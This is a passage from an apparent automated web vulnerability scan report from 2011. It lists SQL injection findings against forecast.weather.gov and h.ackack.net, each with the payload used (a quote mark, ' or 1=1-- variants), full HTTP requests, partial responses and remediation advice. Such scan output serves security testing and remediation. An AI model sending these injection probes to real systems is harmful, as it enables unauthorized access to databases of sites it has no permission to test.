<meta name="DC.title" content="National Weather Service Text Product Display" />
<meta name="DC.description" content="National Weather Service is your source for the most complete weather forecast and weather related information on the web" />
<meta name="DC.creator" content="US Department of Commerce, NOAA, National Weather Service" />
<meta name="DC.date.created" scheme="ISO8601" content="2010-02-16" />
<meta name="DC.date.reviewed" scheme="ISO8601" content="2009-11-10" />
<meta name="DC.language" scheme="DCTERMS.RFC1766" content="EN-US" />
<meta name="DC.keywords" content="weather, local weather forecast, local forecast, weather forecasts, local weather, radar, fire weather, center weather service units, hamweather" />
<meta name="DC.publisher" content="NOAA's National Weather Service" />
<meta name="DC.contributor" content="National Weather Service" />
<meta name="DC.rights" content="http://www.weather.gov/disclaimer.php" />
<meta name="rating" content="General" />
<meta name="robots" content="index,follow" />
<meta name="Distribution" content="Global" />
<meta http-equiv="Content-Style-Type" content="text/css" />
<meta http-equiv="Content-Script-Type" content="text/javascript" />
<link href="/css/default/main_1024.css" title="nwsstyle" rel="stylesheet" type="text/css" media="all" />
<link href="/css/product/main.css" title="nwsstyle" rel="stylesheet" type="text/css" media="all"></head>
<body>
<div id="container"><a href="#skipnav" class="skip">Skip Navigation</a>
<div id="header">
<div id="brand"><a href="http://www.noaa.gov/" class="noaalink">NOAA</a><div class="aligncenter"><a href="http://www.weather.gov/" class="wxlin
...[SNIP]...

Request 2

GET /product.php?site=NWS&issuedby=GYX&product=RWS&format=CI&versi/189542108%20or%201%3d2--%20on=1 HTTP/1.1
Host: forecast.weather.gov
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response 2

HTTP/1.0 200 OK
Age: 2
X-Cache-TTL: 1798
Date: Sat, 26 Feb 2011 02:23:22 GMT
Content-Length: 13278
Content-Type: text/html; charset=iso-8859-1
Expires: Sat, 26 Feb 2011 02:53:22 GMT
Cache-Control: max-age=1800
Server: Apache
Vary: Accept-Encoding
X-Cached-Time: Sat, 26 Feb 2011 02:23:24 GMT
Via: 1.1 nws-hq-cache01 (NetCache NetApp/6.0.7), 1.0 c1.w2.woc (squid)
Connection: close

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<link rel="schema.DC" href="http://purl.org/dc/elements/1.1/">
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /><title>National Weather Service Text Product Display</title>
<meta name="DC.title" content="National Weather Service Text Product Display" />
<meta name="DC.description" content="National Weather Service is your source for the most complete weather forecast and weather related information on the web" />
<meta name="DC.creator" content="US Department of Commerce, NOAA, National Weather Service" />
<meta name="DC.date.created" scheme="ISO8601" content="2010-02-16" />
<meta name="DC.date.reviewed" scheme="ISO8601" content="2009-03-02" />
<meta name="DC.language" scheme="DCTERMS.RFC1766" content="EN-US" />
<meta name="DC.keywords" content="weather, local weather forecast, local forecast, weather forecasts, local weather, radar, fire weather, center weather service units, hamweather" />
<meta name="DC.publisher" content="NOAA's National Weather Service" />
<meta name="DC.contributor" content="National Weather Service" />
<meta name="DC.rights" content="http://www.weather.gov/disclaimer.php" />
<meta name="rating" content="General" />
<meta name="robots" content="index,follow" />
<meta name="Distribution" content="Global" />
<link href="/css/default/main.css" title="nwsstyle" rel="stylesheet" type="text/css" media="all" />
<link href="/css/product/main.css" title="nwsstyle" rel="stylesheet" type="text/css" media="all"></head>
<body>
<a href="#skipnav" class="skip">Skip Navigation</a>
<div id="header">
<div id="brand"><a href="http://www.noaa.gov/" class="noaalink">NOAA</a><div align="center"><a href="http://www.weather.gov/" class="wxlink">weather.gov</a></div>
<h1>National Oceanic and Atmospheric Administration's</h1>
<a href="http://www.weather.gov" class="site">National Weather Service</a>
</div>
<div id="searchDiv">
   <!--begin search code -->
   <form met
...[SNIP]...

1.25. http://forecast.weather.gov/wwamap/wwatxtget.php [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Tentative
Host:   http://forecast.weather.gov
Path:   /wwamap/wwatxtget.php

Issue detail

The REST URL parameter 1 appears to be vulnerable to SQL injection attacks. The payloads 77422894'%20or%201%3d1--%20 and 77422894'%20or%201%3d2--%20 were each submitted in the REST URL parameter 1. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.

Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.

Request 1

GET /wwamap77422894'%20or%201%3d1--%20/wwatxtget.php HTTP/1.1
Host: forecast.weather.gov
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response 1

HTTP/1.0 404 Not Found
Date: Sat, 26 Feb 2011 02:10:04 GMT
Content-Length: 139
Content-Type: text/html; charset=UTF-8
Server: Apache
Via: 1.1 wwwcache-1 (NetCache NetApp/6.0.7), 1.0 c3.w3.woc (squid)
Connection: close

<h1>An error occurred!<br />Please contact the <a href="mailto:dan.arnold@noaa.gov">webmaster</a> about this problem.<br /> Thank you!</h1>

Request 2

GET /wwamap77422894'%20or%201%3d2--%20/wwatxtget.php HTTP/1.1
Host: forecast.weather.gov
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response 2

HTTP/1.0 404 Not Found
Date: Sat, 26 Feb 2011 02:10:05 GMT
Server: Apache
Content-Length: 36
Content-Type: text/html; charset=UTF-8
Via: 1.0 c3.w3.woc (squid)
Connection: close

<h3>Incorrect Template Request!</h3>

1.26. http://h.ackack.net/ [mystique parameter]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://h.ackack.net
Path:   /

Issue detail

The mystique parameter appears to be vulnerable to SQL injection attacks. The payload ' was submitted in the mystique parameter, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be PostgreSQL.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request

GET /?mystique=jquery_init'&ver=2.4.2 HTTP/1.1
Host: h.ackack.net
Proxy-Connection: keep-alive
Referer: http://h.ackack.net/coldfusion-mysql-xsses.html/x2258057137'%20or%201%3d1--%20
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sat, 26 Feb 2011 02:32:45 GMT
Server: Apache
X-Powered-By: PHP/5.3.5
Vary: Cookie
X-Pingback: http://h.ackack.net/xmlrpc.php
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 52415

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >

<head profile="http://gmpg.org/xfn/11">
<meta http-e
...[SNIP]...
<li class="page page-postgresql ">
...[SNIP]...

1.27. http://h.ackack.net/coldfusion-mysql-xsses.html/x22 [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://h.ackack.net
Path:   /coldfusion-mysql-xsses.html/x22

Issue detail

The REST URL parameter 2 appears to be vulnerable to SQL injection attacks. The payload 58057137'%20or%201%3d1--%20 was submitted in the REST URL parameter 2, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be PostgreSQL.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request

GET /coldfusion-mysql-xsses.html/x2258057137'%20or%201%3d1--%20 HTTP/1.1
Host: h.ackack.net
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response (redirected)

HTTP/1.1 404 Not Found
Date: Sat, 26 Feb 2011 02:11:05 GMT
Server: Apache
X-Powered-By: PHP/5.3.5
Vary: Cookie
X-Pingback: http://h.ackack.net/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Sat, 26 Feb 2011 02:11:06 GMT
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 31293

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >

<head profile="http://gmpg.org/xfn/11">
<meta http-e
...[SNIP]...
<li class="page page-postgresql ">
...[SNIP]...

1.28. http://h.ackack.net/protocols [mystique parameter]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://h.ackack.net
Path:   /protocols

Issue detail

The mystique parameter appears to be vulnerable to SQL injection attacks. The payload ' was submitted in the mystique parameter, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be PostgreSQL.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request

GET /protocols?mystique=css' HTTP/1.1
Host: h.ackack.net
Proxy-Connection: keep-alive
Referer: http://h.ackack.net/protocols
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=232936135.1298687462.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/11; __utma=232936135.1875523045.1298687462.1298687462.1298687462.1; __utmc=232936135; __utmb=232936135.2.10.1298687462

Response

HTTP/1.1 200 OK
Date: Sat, 26 Feb 2011 02:33:35 GMT
Server: Apache
X-Powered-By: PHP/5.3.5
Vary: Cookie
X-Pingback: http://h.ackack.net/xmlrpc.php
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 42432

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >

<head profile="http://gmpg.org/xfn/11">
<meta http-e
...[SNIP]...
<link rel='prev' title='PostgreSQL' href='http://h.ackack.net/cheat-sheets/postgresql' />
...[SNIP]...

1.29. http://h.ackack.net/wp-content/plugins/syntaxhighlighter/syntaxhighlighter3/scripts/shBrushPhp.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://h.ackack.net
Path:   /wp-content/plugins/syntaxhighlighter/syntaxhighlighter3/scripts/shBrushPhp.js

Issue detail

The REST URL parameter 1 appears to be vulnerable to SQL injection attacks. The payload ' was submitted in the REST URL parameter 1, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be PostgreSQL.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request

GET /wp-content'/plugins/syntaxhighlighter/syntaxhighlighter3/scripts/shBrushPhp.js?ver=3.0.83b HTTP/1.1
Host: h.ackack.net
Proxy-Connection: keep-alive
Referer: http://h.ackack.net/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=232936135.1298687462.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/11; __utma=232936135.1875523045.1298687462.1298687462.1298687462.1; __utmc=232936135; __utmb=232936135.1.10.1298687462

Response

HTTP/1.1 404 Not Found
Date: Sat, 26 Feb 2011 02:33:28 GMT
Server: Apache
X-Powered-By: PHP/5.3.5
Vary: Cookie
X-Pingback: http://h.ackack.net/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Sat, 26 Feb 2011 02:33:28 GMT
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 31297

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >

<head profile="http://gmpg.org/xfn/11">
<meta http-e
...[SNIP]...
<li class="page page-postgresql ">
...[SNIP]...

1.30. http://h.ackack.net/wp-content/plugins/syntaxhighlighter/syntaxhighlighter3/scripts/shBrushPhp.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://h.ackack.net
Path:   /wp-content/plugins/syntaxhighlighter/syntaxhighlighter3/scripts/shBrushPhp.js

Issue detail

The REST URL parameter 2 appears to be vulnerable to SQL injection attacks. The payload ' was submitted in the REST URL parameter 2, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be PostgreSQL.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request

GET /wp-content/plugins'/syntaxhighlighter/syntaxhighlighter3/scripts/shBrushPhp.js?ver=3.0.83b HTTP/1.1
Host: h.ackack.net
Proxy-Connection: keep-alive
Referer: http://h.ackack.net/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=232936135.1298687462.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/11; __utma=232936135.1875523045.1298687462.1298687462.1298687462.1; __utmc=232936135; __utmb=232936135.1.10.1298687462

Response

HTTP/1.1 404 Not Found
Date: Sat, 26 Feb 2011 02:33:30 GMT
Server: Apache
X-Powered-By: PHP/5.3.5
Vary: Cookie
X-Pingback: http://h.ackack.net/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Sat, 26 Feb 2011 02:33:30 GMT
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 31297

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >

<head profile="http://gmpg.org/xfn/11">
<meta http-e
...[SNIP]...
<li class="page page-postgresql ">
...[SNIP]...

1.31. http://h.ackack.net/wp-content/plugins/syntaxhighlighter/syntaxhighlighter3/scripts/shBrushPhp.js [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://h.ackack.net
Path:   /wp-content/plugins/syntaxhighlighter/syntaxhighlighter3/scripts/shBrushPhp.js

Issue detail

The REST URL parameter 3 appears to be vulnerable to SQL injection attacks. The payload ' was submitted in the REST URL parameter 3, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be PostgreSQL.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request

GET /wp-content/plugins/syntaxhighlighter'/syntaxhighlighter3/scripts/shBrushPhp.js?ver=3.0.83b HTTP/1.1
Host: h.ackack.net
Proxy-Connection: keep-alive
Referer: http://h.ackack.net/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=232936135.1298687462.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/11; __utma=232936135.1875523045.1298687462.1298687462.1298687462.1; __utmc=232936135; __utmb=232936135.1.10.1298687462

Response

HTTP/1.1 404 Not Found
Date: Sat, 26 Feb 2011 02:33:33 GMT
Server: Apache
X-Powered-By: PHP/5.3.5
Vary: Cookie
X-Pingback: http://h.ackack.net/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Sat, 26 Feb 2011 02:33:33 GMT
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 31297

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >

<head profile="http://gmpg.org/xfn/11">
<meta http-e
...[SNIP]...
<li class="page page-postgresql ">
...[SNIP]...

1.32. http://h.ackack.net/wp-content/plugins/syntaxhighlighter/syntaxhighlighter3/scripts/shBrushPhp.js [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://h.ackack.net
Path:   /wp-content/plugins/syntaxhighlighter/syntaxhighlighter3/scripts/shBrushPhp.js

Issue detail

The REST URL parameter 4 appears to be vulnerable to SQL injection attacks. The payload ' was submitted in the REST URL parameter 4, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be PostgreSQL.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request

GET /wp-content/plugins/syntaxhighlighter/syntaxhighlighter3'/scripts/shBrushPhp.js?ver=3.0.83b HTTP/1.1
Host: h.ackack.net
Proxy-Connection: keep-alive
Referer: http://h.ackack.net/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=232936135.1298687462.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/11; __utma=232936135.1875523045.1298687462.1298687462.1298687462.1; __utmc=232936135; __utmb=232936135.1.10.1298687462

Response

HTTP/1.1 404 Not Found
Date: Sat, 26 Feb 2011 02:33:35 GMT
Server: Apache
X-Powered-By: PHP/5.3.5
Vary: Cookie
X-Pingback: http://h.ackack.net/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Sat, 26 Feb 2011 02:33:35 GMT
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 31297

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >

<head profile="http://gmpg.org/xfn/11">
<meta http-e
...[SNIP]...
<li class="page page-postgresql ">
...[SNIP]...

1.33. http://h.ackack.net/wp-content/plugins/syntaxhighlighter/syntaxhighlighter3/scripts/shBrushPhp.js [REST URL parameter 5]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://h.ackack.net
Path:   /wp-content/plugins/syntaxhighlighter/syntaxhighlighter3/scripts/shBrushPhp.js

Issue detail

The REST URL parameter 5 appears to be vulnerable to SQL injection attacks. The payload ' was submitted in the REST URL parameter 5, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be PostgreSQL.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request

GET /wp-content/plugins/syntaxhighlighter/syntaxhighlighter3/scripts'/shBrushPhp.js?ver=3.0.83b HTTP/1.1
Host: h.ackack.net
Proxy-Connection: keep-alive
Referer: http://h.ackack.net/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=232936135.1298687462.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/11; __utma=232936135.1875523045.1298687462.1298687462.1298687462.1; __utmc=232936135; __utmb=232936135.1.10.1298687462

Response

HTTP/1.1 404 Not Found
Date: Sat, 26 Feb 2011 02:33:38 GMT
Server: Apache
X-Powered-By: PHP/5.3.5
Vary: Cookie
X-Pingback: http://h.ackack.net/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Sat, 26 Feb 2011 02:33:38 GMT
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 31297

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >

<head profile="http://gmpg.org/xfn/11">
<meta http-e
...[SNIP]...
<li class="page page-postgresql ">
...[SNIP]...

1.34. http://h.ackack.net/wp-content/plugins/syntaxhighlighter/syntaxhighlighter3/scripts/shBrushPhp.js [REST URL parameter 6]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://h.ackack.net
Path:   /wp-content/plugins/syntaxhighlighter/syntaxhighlighter3/scripts/shBrushPhp.js

Issue detail

The REST URL parameter 6 appears to be vulnerable to SQL injection attacks. The payload ' was submitted in the REST URL parameter 6, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be PostgreSQL.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request

GET /wp-content/plugins/syntaxhighlighter/syntaxhighlighter3/scripts/shBrushPhp.js'?ver=3.0.83b HTTP/1.1
Host: h.ackack.net
Proxy-Connection: keep-alive
Referer: http://h.ackack.net/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=232936135.1298687462.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/11; __utma=232936135.1875523045.1298687462.1298687462.1298687462.1; __utmc=232936135; __utmb=232936135.1.10.1298687462

Response

HTTP/1.1 404 Not Found
Date: Sat, 26 Feb 2011 02:33:40 GMT
Server: Apache
X-Powered-By: PHP/5.3.5
Vary: Cookie
X-Pingback: http://h.ackack.net/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Sat, 26 Feb 2011 02:33:41 GMT
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 31854

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >

<head profile="http://gmpg.org/xfn/11">
<meta http-e
...[SNIP]...
<li class="page page-postgresql ">
...[SNIP]...

1.35. http://h.ackack.net/wp-content/plugins/syntaxhighlighter/syntaxhighlighter3/scripts/shCore.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://h.ackack.net
Path:   /wp-content/plugins/syntaxhighlighter/syntaxhighlighter3/scripts/shCore.js

Issue detail

The REST URL parameter 1 appears to be vulnerable to SQL injection attacks. The payload ' was submitted in the REST URL parameter 1, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be PostgreSQL.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request

GET /wp-content'/plugins/syntaxhighlighter/syntaxhighlighter3/scripts/shCore.js?ver=3.0.83b HTTP/1.1
Host: h.ackack.net
Proxy-Connection: keep-alive
Referer: http://h.ackack.net/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=232936135.1298687462.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/11; __utma=232936135.1875523045.1298687462.1298687462.1298687462.1; __utmc=232936135; __utmb=232936135.1.10.1298687462

Response

HTTP/1.1 404 Not Found
Date: Sat, 26 Feb 2011 02:33:16 GMT
Server: Apache
X-Powered-By: PHP/5.3.5
Vary: Cookie
X-Pingback: http://h.ackack.net/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Sat, 26 Feb 2011 02:33:17 GMT
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 31854

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >

<head profile="http://gmpg.org/xfn/11">
<meta http-e
...[SNIP]...
<li class="page page-postgresql ">
...[SNIP]...

1.36. http://h.ackack.net/wp-content/plugins/syntaxhighlighter/syntaxhighlighter3/scripts/shCore.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://h.ackack.net
Path:   /wp-content/plugins/syntaxhighlighter/syntaxhighlighter3/scripts/shCore.js

Issue detail

The REST URL parameter 2 appears to be vulnerable to SQL injection attacks. The payload ' was submitted in the REST URL parameter 2, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be PostgreSQL.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request

GET /wp-content/plugins'/syntaxhighlighter/syntaxhighlighter3/scripts/shCore.js?ver=3.0.83b HTTP/1.1
Host: h.ackack.net
Proxy-Connection: keep-alive
Referer: http://h.ackack.net/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=232936135.1298687462.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/11; __utma=232936135.1875523045.1298687462.1298687462.1298687462.1; __utmc=232936135; __utmb=232936135.1.10.1298687462

Response

HTTP/1.1 404 Not Found
Date: Sat, 26 Feb 2011 02:33:19 GMT
Server: Apache
X-Powered-By: PHP/5.3.5
Vary: Cookie
X-Pingback: http://h.ackack.net/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Sat, 26 Feb 2011 02:33:20 GMT
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 31854

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >

<head profile="http://gmpg.org/xfn/11">
<meta http-e
...[SNIP]...
<li class="page page-postgresql ">
...[SNIP]...

1.37. http://h.ackack.net/wp-content/plugins/syntaxhighlighter/syntaxhighlighter3/scripts/shCore.js [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://h.ackack.net
Path:   /wp-content/plugins/syntaxhighlighter/syntaxhighlighter3/scripts/shCore.js

Issue detail

The REST URL parameter 3 appears to be vulnerable to SQL injection attacks. The payload ' was submitted in the REST URL parameter 3, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be PostgreSQL.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request

GET /wp-content/plugins/syntaxhighlighter'/syntaxhighlighter3/scripts/shCore.js?ver=3.0.83b HTTP/1.1
Host: h.ackack.net
Proxy-Connection: keep-alive
Referer: http://h.ackack.net/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=232936135.1298687462.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/11; __utma=232936135.1875523045.1298687462.1298687462.1298687462.1; __utmc=232936135; __utmb=232936135.1.10.1298687462

Response

HTTP/1.1 404 Not Found
Date: Sat, 26 Feb 2011 02:33:21 GMT
Server: Apache
X-Powered-By: PHP/5.3.5
Vary: Cookie
X-Pingback: http://h.ackack.net/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Sat, 26 Feb 2011 02:33:22 GMT
Connection: close
Content-Type: text/html; charset=UTF-8
